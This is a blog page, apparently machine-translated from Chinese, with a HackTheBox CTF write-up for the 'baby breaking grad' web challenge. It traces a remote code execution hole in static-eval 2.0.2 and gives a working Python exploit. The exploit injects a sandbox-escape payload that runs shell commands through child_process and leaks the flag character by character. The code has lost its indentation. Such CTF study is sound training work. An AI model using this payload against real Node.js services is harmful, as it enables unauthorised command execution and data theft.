当前位置:网站首页>HackTheBox-baby breaking grad
HackTheBox-baby breaking grad
2022-07-04 00:58:00 【galaxy3000】
List of articles
summary
HackTheBox Website CTF shooting range Web Related topics baby breaking grad, Title address https://app.hackthebox.com/challenges/baby-breaking-grad, Main investigation AST Injected knowledge points .

subject
Title Overview
After opening the program instance , Prompt to visit 209.97.187.217:32476, visit http://209.97.187.217:32476, See the following Web Interface

Directly select a submission to get 
Download the attachment and extract it to get 
Source code
stay routes In the catalog index.js in , Including different url Treatment method 
It involves StudentHelper.js, Corresponding source code 
StudentHelper.js Yes static-eval and esprima, stay package.json See their version in 
Their thinking
You can see static-eval by 2.0.2, There is RCE Loophole , For details, please refer to https://github.com/advisories/GHSA-8v27-2fg9-7h62

Solution code
import string
import requests
url = 'http://209.97.187.217:32476/api/calculate'
flag = ''
for i, _ in enumerate(iter(bool, True)):
for chr in string.printable:
payload = "(function (x) { return `${eval(\"if(global.process.mainModule.constructor._load('child_process').execSync('cat flag*').toString().charCodeAt(" + str(i) + ") == " + str(ord(chr)) + ") {25} else {1}\")}` })()"
data = {"name": "AAA", "formula": payload}
r = requests.post(url, json=data)
if('Passed' in r.content):
flag += chr
print(flag)
if(chr == '}'):
quit()
break
Run code , obtain flag
边栏推荐
- Struct in linked list
- In the process of seeking human intelligent AI, meta bet on self supervised learning
- 1-Redis架构设计到使用场景-四种部署运行模式(上)
- Global and Chinese market of melting furnaces 2022-2028: Research Report on technology, participants, trends, market size and share
- What is regression testing? Talk about regression testing in the eyes of Ali Test Engineers
- From functools import reduce -- see the use of reduce function from typical examples
- swagger中响应参数为Boolean或是integer如何设置响应描述信息
- 不得不会的Oracle数据库知识点(四)
- Self study software testing. To what extent can you go out and find a job?
- Swagger2 quick start and use
猜你喜欢

基于.NetCore开发博客项目 StarBlog - (14) 实现主题切换功能

OS interrupt mechanism and interrupt handler

我管你什么okr还是kpi,PPT轻松交给你

MySQL winter vacation self-study 2022 12 (1)

Network layer - routing

在寻求人类智能AI的过程中,Meta将赌注押向了自监督学习

2-redis architecture design to use scenarios - four deployment and operation modes (Part 2)

Fundamentals of machine learning: feature selection with lasso

查询效率提升10倍!3种优化方案,帮你解决MySQL深分页问题
![[cloud native topic -48]:kubesphere cloud Governance - operation - overview of multi tenant concept](/img/b4/961b3b44e9ecbfd4bddd04318b663a.jpg)
[cloud native topic -48]:kubesphere cloud Governance - operation - overview of multi tenant concept
随机推荐
MPLS experiment
Summary of common tools and technical points of PMP examination
Global and Chinese markets for instant saliva testing devices 2022-2028: Research Report on technology, participants, trends, market size and share
PMP 考试常见工具与技术点总结
[complimentary ppt] kubemeet Chengdu review: make the delivery and management of cloud native applications easier!
Global and Chinese markets of distributed control system (DCS) consumption 2022-2028: Research Report on technology, participants, trends, market size and share
Introduction to thread pool
“疫”起坚守 保障数据中台服务“不打烊”
Pytest unit test framework: simple and easy to use parameterization and multiple operation modes
Optimization of for loop
Network layer - routing
be based on. NETCORE development blog project starblog - (14) realize theme switching function
Release and visualization of related data
Fundamentals of machine learning: feature selection with lasso
Sorry, Tencent I also refused
Struct in linked list
功能:将主函数中输入的字符串反序存放。例如:输入字符串“abcdefg”,则应输出“gfedcba”。
12. Go implementation of integer to Roman numeral and leetcode
Beijing invites reporters and media
Oracle database knowledge points (IV)